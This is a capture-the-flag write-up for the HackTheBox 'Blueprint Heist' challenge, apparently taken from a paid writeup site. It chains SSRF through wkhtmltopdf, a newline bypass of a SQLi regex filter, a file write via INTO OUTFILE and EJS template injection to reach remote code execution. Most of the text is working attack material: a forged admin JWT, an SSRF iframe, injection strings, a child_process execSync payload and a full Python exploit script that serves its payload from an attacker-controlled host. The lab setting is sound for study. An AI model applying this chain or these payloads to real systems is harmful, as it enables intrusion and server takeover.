$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: Web app with wkhtmltopdf PDF generation, GraphQL API, JWT auth, and EJS templating. Solution: Chain SSRF via wkhtmltopdf to access internal GraphQL, bypass regex SQLi filter with newline, write malicious EJS template via INTO OUTFILE, trigger SSTI for RCE.
Web application for Urban Planning Commission that allows viewing construction reports and downloading PDFs. Stack: Node.js/Express, EJS templating engine, GraphQL API, JWT authentication, wkhtmltopdf for PDF generation.
/graphql/download uses wkhtmltopdf for URL to PDF conversion, allowing SSRF to localhostStr0ng_K3y_N0_l3ak_pl3ase?getDataByName is vulnerable to SQLi with regex bypass via newlineINTO OUTFILE allows writing files to the serverapp/utils/security.js - SQLi filter with regex bypass:
function detectSqli (query) { const pattern = /^.*[!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]/ return pattern.test(query) } function checkInternal(req) { const address = req.socket.remoteAddress.replace(/^.*:/, '') return address === "127.0.0.1" }
app/schemas/schema.js - Vulnerable GraphQL query:
data = await connection.query(`SELECT * FROM users WHERE name like '%${args.name}%'`);
app/controllers/downloadController.js - SSRF via wkhtmltopdf:
wkhtmltopdf(url, { output: pdfPath }, callback);
Source code contained placeholder secret IM_Sup3r_K3y_pl3ase_b3_c4r3ful?, but production used a different one.
Real secret: Str0ng_K3y_N0_l3ak_pl3ase?
import jwt secret = "Str0ng_K3y_N0_l3ak_pl3ase?" token = jwt.encode({"role": "admin"}, secret, algorithm="HS256") print(token) # eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4ifQ.rZnq-8kqh9o7rsIJket6BFk1lG6lH6VBTqGVLy65hzM
GraphQL endpoint requires requests from localhost (127.0.0.1). Using SSRF via wkhtmltopdf with iframe:
<!DOCTYPE html> <html> <body> <iframe src="http://localhost:1337/graphql?token=ADMIN_TOKEN&query=ENCODED_QUERY" width="1000" height="800"></iframe> </body> </html>
Host HTML on external server and load via /download endpoint.
SQLi filter uses regex: /^.*[!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]/
Bypass: The . character in regex doesn't match newlines, so adding \n at the beginning bypasses the filter.
SQLi test:
{getDataByName(name:"john\n' OR 1=1-- "){id,name}}
Successfully dumps all users.
Using SQLi to write malicious EJS template to /app/views/errors/404.ejs:
john\n'UNION SELECT 1,1,1,'<%= global.process.mainModule.require(`child_process`).execSync(`/readflag`).toString() %>' INTO OUTFILE '/app/views/errors/404.ejs'--
Full GraphQL query (URL encoded):
%7BgetDataByName%28name%3A%22john%5Cn%27UNION%20SELECT%201%2C1%2C1%2C%27%3C%25%3D%20global.process.mainModule.require%28%60child_process%60%29.execSync%28%60/readflag%60%29.toString%28%29%20%25%3E%27%20INTO%20OUTFILE%20%27/app/views/errors/404.ejs%27--%20%22%29%7Bid%2Cname%7D%7D
Access a non-existent URL to trigger 404 error, which renders our malicious template:
curl "http://TARGET/nonexistent_page_12345"
#!/usr/bin/env python3 """ Blueprint Heist - HackTheBox Business CTF 2024 Full exploit chain: SSRF -> SQLi -> File Write -> SSTI -> RCE """ import jwt import requests from urllib.parse import quote from http.server import HTTPServer, SimpleHTTPRequestHandler import threading TARGET = "http://TARGET_IP:PORT" ATTACKER_SERVER = "http://ATTACKER_IP:8888" # Step 1: Generate admin JWT token def generate_admin_token(): secret = "Str0ng_K3y_N0_l3ak_pl3ase?" token = jwt.encode({"role": "admin"}, secret, algorithm="HS256") return token # Step 2: Create malicious HTML for SSRF def create_ssrf_html(token, graphql_query): encoded_query = quote(graphql_query) html = f'''<!DOCTYPE html> <html> <body> <iframe src="http://localhost:1337/graphql?token={token}&query={encoded_query}" width="1000" height="800"></iframe> </body> </html>''' return html # Step 3: SQLi payload with regex bypass def create_sqli_payload(): # Newline bypasses the regex filter # INTO OUTFILE writes malicious EJS template ejs_payload = "<%= global.process.mainModule.require(`child_process`).execSync(`/readflag`).toString() %>" sqli = f"john\\n'UNION SELECT 1,1,1,'{ejs_payload}' INTO OUTFILE '/app/views/errors/404.ejs'-- " graphql = '{getDataByName(name:"' + sqli + '"){id,name}}' return graphql # Step 4: Host malicious HTML def start_http_server(html_content, port=8888): with open("exploit.html", "w") as f: f.write(html_content) handler = SimpleHTTPRequestHandler server = HTTPServer(("0.0.0.0", port), handler) thread = threading.Thread(target=server.handle_request) thread.start() return thread # Step 5: Trigger SSRF via wkhtmltopdf def trigger_ssrf(target, attacker_url): url = f"{target}/download" data = {"url": f"{attacker_url}/exploit.html"} response = requests.post(url, data=data) return response # Step 6: Trigger 404 to execute SSTI def trigger_rce(target): response = requests.get(f"{target}/nonexistent_page_12345") return response.text # Main exploit def main(): print("[*] Blueprint Heist Exploit") # Generate token token = generate_admin_token() print(f"[+] Admin token: {token}") # Create SQLi payload sqli_query = create_sqli_payload() print(f"[+] SQLi payload created") # Create SSRF HTML html = create_ssrf_html(token, sqli_query) print(f"[+] SSRF HTML created") # Start HTTP server print(f"[*] Starting HTTP server on port 8888...") start_http_server(html) # Trigger SSRF print(f"[*] Triggering SSRF via wkhtmltopdf...") trigger_ssrf(TARGET, ATTACKER_SERVER) # Wait for file write import time time.sleep(2) # Trigger RCE print(f"[*] Triggering SSTI via 404...") flag = trigger_rce(TARGET) print(f"[+] Flag: {flag}") if __name__ == "__main__": main()
. in regex doesn't match \n, common bypassglobal.process.mainModule.require('child_process').execSync() for RCE$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar